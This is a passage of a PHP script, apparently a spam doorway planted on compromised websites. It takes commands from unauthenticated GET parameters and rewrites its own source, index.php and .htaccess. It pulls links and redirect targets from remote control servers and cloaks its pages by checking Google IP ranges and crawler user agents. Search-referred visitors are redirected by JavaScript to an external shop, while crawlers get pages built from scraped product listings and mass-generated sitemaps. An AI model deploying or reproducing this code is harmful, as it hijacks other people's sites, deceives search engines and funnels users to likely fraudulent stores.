  587. $strDefault = str_replace('define("JGNUM","40");', 'define("JGNUM","'.$_GET["jgshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>jgshu (".$_GET["jgshu"].") ok!<br/>";}
  588. if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
  589. $strDefault = file_get_contents(__FILE__);
  590. $strDefault = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.$_GET["ljshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";}
  591. if(isset($_GET["moshi"])){
  592.  
  593. if($_GET["moshi"] != 0 && $_GET["moshi"] != 1 && $_GET["moshi"] != 2 && $_GET["moshi"] != 3){
  594. echo "<br/><span style='color:red'>set fails, moshi value must be 0,1,2 or 3 !</span><br/>"; die(); }
  595. if($_GET["moshi"] == 2 || $_GET["moshi"] == 3){
  596. @unlink(".htaccess"); }
  597.  
  598. $strDefault = file_get_contents(__FILE__);
  599.  
  600. $r3='#(/{2}msbg)(.*?)(/{2}msend)#s';
  601. $rp2 = 'define("JDT","'.$_GET["moshi"].'");'; $strDefault=preg_replace($r3,'\1'.PHP_EOL.$rp2.PHP_EOL.'\3',$strDefault);
  602.  
  603. $strDefault = str_replace('define("JDT","0");', 'define("JDT","'.$_GET["moshi"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>moshi (".$_GET["moshi"].") ok!<br/>";}
  604. if(isset($_GET['hzui']) && $_GET['hzui']){
  605. $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
  606. $PreDir = ''; if(JDT == 1){
  607. $UrlBaseDir = $httcReplace; $RewriteOnDir = ''; }else{
  608. $UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/'; }
  609. $strhtt = ''; if (file_exists("$PreDir.htaccess")){
  610. @chmod("$PreDir.htaccess",0755); $strhtt = file_get_contents("$PreDir.htaccess"); }
  611.  
  612. if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
  613. {
  614. $strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>'; }else{
  615. $strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt); $strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt); }
  616.  
  617. $hzReplace = trim($_GET['hzui']);
  618. if(1){
  619.  
  620. $r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i';
  621. $rsut = '\1'.PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL;
  622. $rsut2 = PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule' ;
  623. if(preg_match($r1,$strhtt)){
  624. $strhtt = preg_replace($r1,$rsut,$strhtt,1); }else{
  625. $strhtt = preg_replace($r2,$rsut2,$strhtt,1); }
  626.  
  627. $indexContent = file_get_contents("index.php"); $r3 = '#(/+jthouzuibg)(.*?)(/+jthouzuiend)#s'; $indexContent = preg_replace($r3, '\1'. PHP_EOL .'define("JTHZ",".'. $hzReplace .'");'. PHP_EOL .'\3'. PHP_EOL , $indexContent); file_put_contents("index.php", $indexContent);
  628. if(JDT == 1 or JDT == 0){
  629. file_put_contents("$PreDir.htaccess", $strhtt); }
  630. }
  631.  
  632. echo "<br/>hzui ($hzReplace) modify ok!<br/>";
  633. }
  634. if(isset($_GET["modifydate"]) && $_GET["modifydate"]){
  635. $strDefault = file_get_contents(__FILE__);
  636. $strDefault = str_replace('define("PRENAME","20160409");', 'define("PRENAME","'.$_GET["modifydate"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>modifydate (".$_GET["modifydate"].") ok!<br/>";}
  637. $arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
  638. $arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
  639. $Arrrarr = array_flip($arrArrr);
  640. if(isset($_GET["gsitemap"])){
  641.  
  642. $O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0);
  643. if (! is_dir("../websitemap"))
  644. mkdir("../websitemap", 0755);
  645. global $gnumber;
  646. $gnumber = 1;
  647. $bgNum = (int)trim($_GET["gsitemap"]);
  648. if($bgNum > FNUM)
  649. die("The Number Must Lower Then " . FNUM);
  650.  
  651. $arrNumTemp = getMapNum($bgNum);
  652.  
  653.  
  654. foreach($arrNumTemp as $vss){
  655.  
  656. $vals = "id$vss.php";
  657.  
  658.  
  659.  
  660. $idUrl = GETDOM . "gpage.php?getid=$vss";
  661. $tempIdStr = curl_get_from_webpage($idUrl,'',5);
  662. $arrId = explode(',',$tempIdStr);
  663. // echo "<pre>";
  664. // print_r($arrId);
  665. // die();
  666. if(count($arrId) < 100){
  667. echo "g sitemap fail<br/>";
  668. die();
  669. }
  670.  
  671. echo $vals."<br/>";
  672.  
  673. if($gnumber == 1){
  674. if(JDT == 1){
  675. gsitemap($arrId,2,1); }else{
  676. gsitemap($arrId,1,2); }
  677. }else{
  678.  
  679. if(JDT == 1){
  680. gsitemap2($arrId,2,1); }else{
  681. gsitemap2($arrId,1,2); }
  682.  
  683. }
  684.  
  685. unset($arrId,$tempArr1,$tempArr2); }
  686.  
  687. }
  688. if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"])){
  689. die();}
  690. if(JDT==2){
  691.  
  692. $UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){
  693. $tempSid = ''; $tempPid = '';
  694.  
  695. $r0 ='#^'. BZSITE .'(\d+)[-/]#i';
  696. $r1='#[-/]'. BZSITE .'(\d+)[-/]#i';
  697. if(preg_match($r0,$UrlParent,$matches)){
  698. if(isset($matches[1]))
  699. $tempSid = $matches[1]; }else{
  700. preg_match($r1,$UrlParent,$matches10); if(isset($matches10[1]))
  701. $tempSid = $matches10[1]; }
  702.  
  703.  
  704. $r2='#^'. BZPRO .'(\d+)[-/]#i'; $r3='#[-/]'. BZPRO .'(\d+)[-/]#i';
  705. if(preg_match($r2,$UrlParent,$matches2)){
  706. if(isset($matches2[1]))
  707. $tempPid = $matches2[1]; }else{
  708.  
  709. preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
  710. $tempPid = $matches13[1]; }
  711.  
  712.  
  713. if($tempSid && $tempPid){
  714. $_GET['id']= $tempSid .'-'. $tempPid; }
  715.  
  716. }
  717.  
  718. }elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
  719.  
  720. $tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword'];
  721. $r0 ='#^'. BZSITE .'(\d+)[-/]#i';
  722. $r1='#[-/]'. BZSITE .'(\d+)[-/]#i';
  723. if(preg_match($r0,$UrlParent,$matches)){
  724. if(isset($matches[1]))
  725. $tempSid = $matches[1]; }else{
  726. preg_match($r1,$UrlParent,$matches10); if(isset($matches10[1]))
  727. $tempSid = $matches10[1]; }
  728.  
  729.  
  730. $r2='#^'. BZPRO .'(\d+)[-/]#i'; $r3='#[-/]'. BZPRO .'(\d+)[-/]#i';
  731. if(preg_match($r2,$UrlParent,$matches2)){
  732. if(isset($matches2[1]))
  733. $tempPid = $matches2[1]; }else{
  734.  
  735. preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
  736. $tempPid = $matches13[1]; }
  737.  
  738.  
  739. if($tempSid && $tempPid){
  740. $_GET['id']= $tempSid .'-'. $tempPid; }
  741.  
  742.  
  743. }
  744. function getRandStr(){
  745.  
  746. $arrABC = range('a','z'); shuffle($arrABC);
  747. $randNum = rand(4,6);
  748. $str = implode('',array_slice($arrABC,0,$randNum));
  749. return $str;}
  750. if(isset($_GET["id"]))
  751. $id = $_GET["id"];else{
  752. $id = "320175206-21155"; //llq index id
  753. }
  754. $idTemp = explode('-',$id);if(count($idTemp) < 2)
  755. die();
  756. $id23 = end($idTemp);
  757. $numArr_key = count($arr_key);
  758. $siteid = $idTemp[count($idTemp)-2];
  759. $siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
  760. $pInfoUrl = GETDOM . "gpage.php?id=$siteAID&jgnum=". JGNUM ."&linknum=".LINKNUM;
  761. // $_SERVER["HTTP_REFERER"] = "google.com.hk";
  762. if(isset($_SERVER["HTTP_REFERER"])){
  763. $referer = $_SERVER["HTTP_REFERER"];
  764. $russ = '#(google|yahoo|incredibar|bing|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';
  765.  
  766. $ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') );
  767. $localIp = get_real_ip();
  768. $is_or_no = is_ip($localIp,$ipRanges);
  769. if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false){
  770. $jumDom = DOMTXT . $siteid .".txt";
  771. $domJump = curl_get_from_webpage($jumDom,'',5); $iszz = isCrawler();
  772. echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $domJump . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>'; die();
  773. }
  774. }
  775.  
  776. $fcontent = '';
  777. $keyKey = $id23 % $numArr_key;$keyWzi = $id23 % 6;$preOrEnd = $arrKeywz[$keyWzi]%2;$pInfoUrl = GETDOM . "gpage.php?id=$siteAID&jgnum=". JGNUM ."&linknum=".LINKNUM;
  778.  
  779. $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
  780.  
  781.  
  782. $rFL = '#<llqFL>(.*?)</llqFL>#si';preg_match($rFL, $pInfoStr, $matchFL);
  783. if($matchFL[1]) $fStr = $matchFL[1];else $fStr = '';
  784. $arrf1 = explode("#llqllqllq#",$fStr);
  785. $arrF2s = array();if(count($arrf1)){foreach($arrf1 as $values){$values = trim($values);$arrts = explode("===>",$values);if(count($arrts) == 2)$arrF2s[$arrts[0]] = $arrts[1];}}
  786. $arrPre = array_slice($arrF2s, 0, LINKNUM);$arrNext = array_slice($arrF2s, LINKNUM);
  787. $rLK = '#<llqLK>(.*?)</llqLK>#si';
  788. preg_match($rLK, $pInfoStr, $matchLK);
  789.  
  790. if($matchLK[1])
  791. $lkStr = trim($matchLK[1]);
  792. else
  793. die();
  794. $html = curl_get_from_webpage($lkStr,'',5);
  795. $html = iconv('EUC-JP','utf-8',$html);
  796.  
  797.  
  798. $proNameRelur='#<span class="item_name">(.*?)</span>#si';
  799. preg_match($proNameRelur, $html, $matchesName);
  800. $productsName = rmhtmltag2('',$matchesName[1]);
  801.  
  802. $productsName = trim($productsName);
  803.  
  804.  
  805.  
  806. $proPd2Relur = '#<span class="catch_copy">(.*?)</span>#si';
  807. preg_match($proPd2Relur, $html, $matchesPd2);
  808. $productsPd2 = $matchesPd2[1];
  809. $productsPd2 = rmhtmltag2('',$productsPd2);
  810.  
  811.  
  812. preg_match_all('#<div src="([^"]+)"#si', $html, $matchesImg);
  813. $productsImgArr = $matchesImg[1];
  814.  
  815.  
  816. preg_match('#<td><span class="sale_desc">(.*?)</span>\s*<br>\s*<br>\s*</td>#si', $html, $matchesDes);
  817. $productsDes = $matchesDes[1];
  818.  
  819. preg_match('#<td><span class="item_desc">(.*?)</span>\s*<br>\s*<br>\s*</td>#si', $html, $matchesDes2);
  820. $productsDes .= $matchesDes2[1];
  821. $productsDes = rmhtmltag2('iframe', $productsDes);
  822. $productsDes = rmhtmltag2('a', $productsDes);
  823.  
  824.  
  825. $flagss = 0;
  826. if(count($productsImgArr) > 0){
  827. foreach($productsImgArr as $values){
  828. $values = trim($values);
  829. if($values){
  830. if($flagss == 0){
  831. $productsImg = $values;
  832. $flagss = 1;
  833. }else{
  834. if(!strstr($productsDes, $values)){
  835. $productsDes .= '<br/><img src="'. $values .'">';
  836. }
  837. }
  838. }
  839. }
  840. }
  841.  
  842. $productsDes = str_replace('<IMG ','<img ',$productsDes);
  843. $productsDes = rmhtmltag2('meta',$productsDes);
  844. $productsDes = rmhtmltag('script',$productsDes);
  845.  
  846.  
  847. $pName = $productsName;
  848. $pDes = $productsDes;
  849. $pd2 = $productsPd2;
  850. $pImg = $productsImg;
  851.  
  852.  
  853.  
  854. $rCat = '#<td class="sdtext">(.*?)</td>#si';preg_match($rCat, $html, $matchCat);
  855.  
  856. $catStr = $matchCat[1];
  857.  
  858. $catStr = rmhtmltag2('',$catStr);
  859. $arrCatTemp = explode('&gt;',$catStr);
  860. foreach($arrCatTemp as $key=>$vas){
  861. if($key == 0)
  862. continue;
  863. $arrCat[] = trim($vas);
  864. }
  865.  
  866. $pCat = '';
  867. for($i=0;$i<count($arrCat);$i++){
  868. $vs = $arrCat[$i];
  869. $pCat .= '<li><a href="index.php?category='. $vs .'">'.$vs.'</a></li>';
  870. }
  871. $pCat = '<div id="navBreadCrumb"><ul class="breadcrumb">'.$pCat.'</ul></div>';
  872.  
  873.  
  874.  
  875.  
  876. if($preOrEnd){$rPlaceTitle = $pName . $rKey;}else{$rPlaceTitle = $rKey . $pName;}$rPlacePname = $rPlaceTitle;$keywordKey = get_arrvs($arr_key,1*KEYJG,$keyKey);$rPlaceKey = $pName.",".$rKey.",".$keywordKey;$desKey1 = get_arrvs($arr_key,2*KEYJG,$keyKey);$desKey2 = get_arrvs($arr_key,3*KEYJG,$keyKey);$rPlaceDes = $pName.",".$rKey.",".$desKey1.",".$desKey2;$pDes = str_ireplace("<img ", '<img alt="#bbbtitlebbb#" title="#bbbtitlebbb#" ',$pDes);$myLink = '<a href="#">#bbbtitlebbb#</a><br/>';$rpDes = $myLink.$pDes.$pd2.'';if(!strstr($rpDes,$pImg)){$rpDes .= PHP_EOL ."<br/>".'<img alt="#bbbtitlebbb#" title="#bbbtitlebbb#" src="'.$pImg.'">'."<br/>";}$rpDes = str_replace($pName,$rPlacePname,$rpDes);$rpDes = str_replace('#bbbtitlebbb#',$rPlacePname,$rpDes);
  877.  
  878. $pCat = str_replace('index.php?category=','/index.php?category=',$pCat);
  879.  
  880. if(count($arrPre)){
  881. $linkfirst = '';
  882. $itemp = 0; foreach($arrPre as $valueFlinkId => $vsss){
  883. list($tempSid,$tempPid) = explode('-',$valueFlinkId);
  884. $friendlink = getalink($tempSid,$tempPid);
  885. $keyKey = $tempPid % $numArr_key;
  886. $keyWzi2 = $tempPid % 6; if($arrKeywz[$keyWzi2]%2){
  887. $tempLinkKey = trim($arrF2s[$valueFlinkId]) . $arr_key[$keyKey]; }else{
  888. $tempLinkKey = $arr_key[$keyKey] . trim($arrF2s[$valueFlinkId]); }
  889.  
  890. if($itemp%2)$itempName = $pName.get_arrvs($arr_key,(4+$itemp++)*KEYJG,$keyKey);else $itempName = get_arrvs($arr_key,(4+$itemp++)*KEYJG,$keyKey).$pName;
  891.  
  892.  
  893. $linkfirst=$linkfirst."<a href=\"".$friendlink."\">". $tempLinkKey ."</a><br/>". $itempName ."<br/>".PHP_EOL; }
  894. }
  895.  
  896.  
  897. if(count($arrNext)){
  898. $linklast = '';
  899.  
  900. foreach($arrNext as $valueFlinkId => $vsss){
  901. list($tempSid,$tempPid) = explode('-',$valueFlinkId); $friendlink = getalink($tempSid,$tempPid);
  902.  
  903. $keyKey = $tempPid % $numArr_key;
  904. $keyWzi2 = $tempPid % 6; if($arrKeywz[$keyWzi2]%2){
  905. $tempLinkKey = trim($arrF2s[$valueFlinkId]) . $arr_key[$keyKey]; }else{
  906. $tempLinkKey = $arr_key[$keyKey] . trim($arrF2s[$valueFlinkId]); }
  907.  
  908. $linklast=$linklast."<a href=\"".$friendlink."\">". $tempLinkKey ."</a><br/>".PHP_EOL; }
  909. }
  910.  
  911.  
  912. $fileMb = fopen("moban.html","r"); $html = fread($fileMb,filesize("moban.html"));
  913. $html = str_ireplace('#bbbtitlebbb#</h1>', '#bbbtitlebbb#</h1>', $html); $html = str_ireplace('#bbbtitsbbb#', $rPlacePname.' - '.$_SERVER['HTTP_HOST'], $html); $html = str_ireplace('#bbbtitlebbb#', $rPlacePname, $html); $html = str_replace('#bbbtitlebbb#', $rPlacePname, $html); $html = str_ireplace('#bbbkeybbb#', $rPlaceKey, $html); $html = str_ireplace('#bbbdesbbb#', $rPlaceDes, $html);
  914.  
  915.  
  916. $html = str_ireplace('#links1#', $linkfirst, $html); $html = str_ireplace('#links2#', $linklast, $html); $html = str_ireplace('#content#', $fcontent, $html); $html = str_ireplace('#descontent#', $rpDes.$pCat, $html);
  917.  
  918. echo $html;
  919. die();
  920.  
  921.  
  922.  
  923. function getMapNum($bgNum){
  924. $TempArr = array();
  925. if($bgNum + 9 <= FNUM){
  926. for($i=0;$i<10;$i++){
  927. $TempArr[$i] = $bgNum + $i -1;
  928. }
  929. }else{
  930. for($i=0;$i<10;$i++){
  931. if($bgNum+$i > FNUM)
  932. $TempArr[$i] = $bgNum + $i -1 -FNUM;
  933. else
  934. $TempArr[$i] = $bgNum + $i -1;
  935. }
  936. }
  937.  
  938. return $TempArr;
  939. }
  940.  
  941.  
  942. function getRandId(){
  943. $num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;}
  944. function get_arrvs($arr,$num,$nowkey){
  945. $numArr = count($arr);
  946. if($nowkey + $num < $numArr)
  947. return $arr[$nowkey + $num]; else{
  948. if($nowkey + $num - $numArr - $numArr > 0)
  949. return get_arrvs($arr,$num - $numArr,$nowkey); else
  950. return $arr[abs($nowkey + $num - $numArr)]; }
  951. }
  952.  
  953. function get_pre_link($arr,$key){
  954.  
  955. $tmpA1 = array(); $tmpA2 = array();
  956. $num = count($arr);
  957.  
  958. if($key + JGNUM + 1 + LINKNUM >= $num){
  959.  
  960. if($key + JGNUM + 1 - $num > LINKNUM){
  961. return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{
  962.  
  963. $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu);
  964. return array_merge($tmpA1,$tmpA2); }
  965. }else{
  966. return array_slice($arr, $key + JGNUM + 1, LINKNUM); }
  967.  
  968. }
  969. function get_next_link($arr,$key){
  970.  
  971. $tmpA1 = array(); $tmpA2 = array();
  972. $num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
  973. $duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{
  974. return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); }
  975. }
  976. function isCrawler() {
  977. $agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) {
  978. $spiderSite= array(
  979. "Googlebot",
  980. "Mediapartners-Google",
  981. "Adsbot-Google",
  982. "Yahoo!",
  983. "Yahoo Slurp",
  984. "bingbot",
  985. "MSNBot"
  986. ); foreach($spiderSite as $val) {
  987. $str = strtolower($val); if (strpos($agent, $str) !== false) {
  988. return true; }
  989. }
  990. } else {
  991. return false; }
  992. }
  993. function glink($filenames,$jdt=1){
  994. $filePres = ''; $fileEnds = '';
  995. if($jdt == 1){
  996. $filePres = basename(__FILE__) . "?id="; }else{
  997. $filePres = ''; $fileEnds = JTHZ; }
  998. ////获取文件目录
  999. $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
  1000. $siteLink='http://'.$_SERVER['HTTP_HOST'];
  1001. $put_str = '';
  1002. $urlsArray = $filenames; //print_r($urlsArray);
  1003. $numLinks = count($urlsArray);
  1004. foreach($urlsArray as $value){
  1005. $curphp=basename(__FILE__);
  1006. $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); //print_r( $value.$curphp." ".$first." ".$last); if($first===false && $last===false && $checkTxt===false)
  1007. {
  1008.  
  1009. $url=$serpath ."/". $filePres . PRENAME . '-' . basename($value) .$fileEnds; $put_str .= $url . PHP_EOL;
  1010. }
  1011. }
  1012. $gFile = 'urls.txt'; echo '<br/>'.$gFile.'';
  1013. @unlink($gFile); file_put_contents($gFile,$put_str); echo "生成成功!<br/>";
  1014. }
  1015. //生成sitemap.xml文件,超出4000个则换一个xml文件;参数$c=1生成原始路径的sitemap,$c=2则生成映射后的路径
  1016. //$dir目录参数
  1017. function gsitemap2($filenames,$c=1,$jdt=1){
  1018. global $gnumber,$arrArrr;
  1019. $filePres = ''; $fileEnds = '';
  1020. $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
  1021. if(JDT == 2){
  1022. $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
  1023. $filePres = $httcReplace . "/"; }elseif(JDT == 3){
  1024. $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{
  1025. $filePres = ''; }
  1026. if(JDT == 3){
  1027. $fileEnds = ''; }else{
  1028. $fileEnds = JTHZ; }
  1029. $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
  1030. $siteLink='http://'.$_SERVER['HTTP_HOST'];
  1031. $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
  1032. // $urlsArray = $filenames;
  1033. // $numLinks = count($urlsArray);
  1034. $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
  1035. $str = "";
  1036. $tempArr1 = $filenames;
  1037.  
  1038. foreach($tempArr1 as $value2){
  1039. $curphp=basename(__FILE__);
  1040. $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempSid,$tempPid) = explode('-',$value);
  1041. $url = getalink($tempSid,$tempPid);
  1042.  
  1043.  
  1044.  
  1045. if($first===false && $last===false && $checkTxt===false)
  1046. {
  1047. $date = date("Y-m-d"); $time = date("H:i:s");
  1048.  
  1049. if($star % 12000==11999){
  1050. $gFile = '../websitemap/sitemap' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
  1051. $str = ''; $gnumber++; return; }
  1052.  
  1053.  
  1054.  
  1055.  
  1056. $str .= " <url>
  1057. <loc>" . $url . "</loc>
  1058. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  1059. <changefreq>daily</changefreq>
  1060. <priority>0.1</priority>
  1061. </url>
  1062. ";
  1063.  
  1064.  
  1065. $star++; $starPri++; }
  1066. }
  1067.  
  1068. {
  1069. $gFile = '../websitemap/sitemap' . $gnumber .'.xml'; $gnumber++; echo '<br/>'.$gFile.'<br/>';
  1070. $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
  1071. }
  1072.  
  1073. unset($tempArr1); unset($filenames);
  1074. echo "生成sitemap成功!";
  1075. }
  1076. function gsitemap($filenames,$c=1,$jdt=1){
  1077. global $gnumber,$arrArrr;
  1078. $filePres = ''; $fileEnds = '';
  1079.  
  1080. $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
  1081. $siteLink='http://'.$_SERVER['HTTP_HOST'];
  1082. $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
  1083. // $urlsArray = $filenames;
  1084. // $numLinks = count($urlsArray);
  1085.  
  1086. $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
  1087. $str = " <url>
  1088. <loc>" . $siteLink . "</loc>
  1089. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  1090. <changefreq>always</changefreq>
  1091. <priority>1.0</priority>
  1092. </url>
  1093. ";
  1094. $tempArr1 = $filenames;
  1095.  
  1096. foreach($tempArr1 as $value2){
  1097. $curphp=basename(__FILE__);
  1098. $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempSid,$tempPid) = explode('-',$value);
  1099. $url = getalink($tempSid,$tempPid);
  1100.  
  1101. if($first===false && $last===false && $checkTxt===false)
  1102. {
  1103. $date = date("Y-m-d"); $time = date("H:i:s");
  1104.  
  1105. if($star % 12000==11999){
  1106. $gFile = '../websitemap/sitemap' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>';
  1107. $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
  1108. $str = ''; $gnumber++; return;
  1109. }
  1110.  
  1111. if($starPri >= 400 && $priority != 0.1){
  1112. $starPri = 0; $priority = $priority - 0.1; }
  1113.  
  1114. if($priority > 0.1){
  1115.  
  1116. $str .= " <url>
  1117. <loc>" . $url . "</loc>
  1118. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  1119. <changefreq>daily</changefreq>
  1120. <priority>". $priority . "</priority>
  1121. </url>
  1122. ";
  1123. }else{
  1124. $str .= " <url>
  1125. <loc>" . $url . "</loc>
  1126. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  1127. <changefreq>daily</changefreq>
  1128. <priority>0.1</priority>
  1129. </url>
  1130. ";
  1131. }
  1132.  
  1133. $star++; $starPri++; }
  1134. }
  1135.  
  1136. {
  1137. $gFile = '../websitemap/sitemap' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>';
  1138. $gnumber++;
  1139. $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
  1140. }
  1141.  
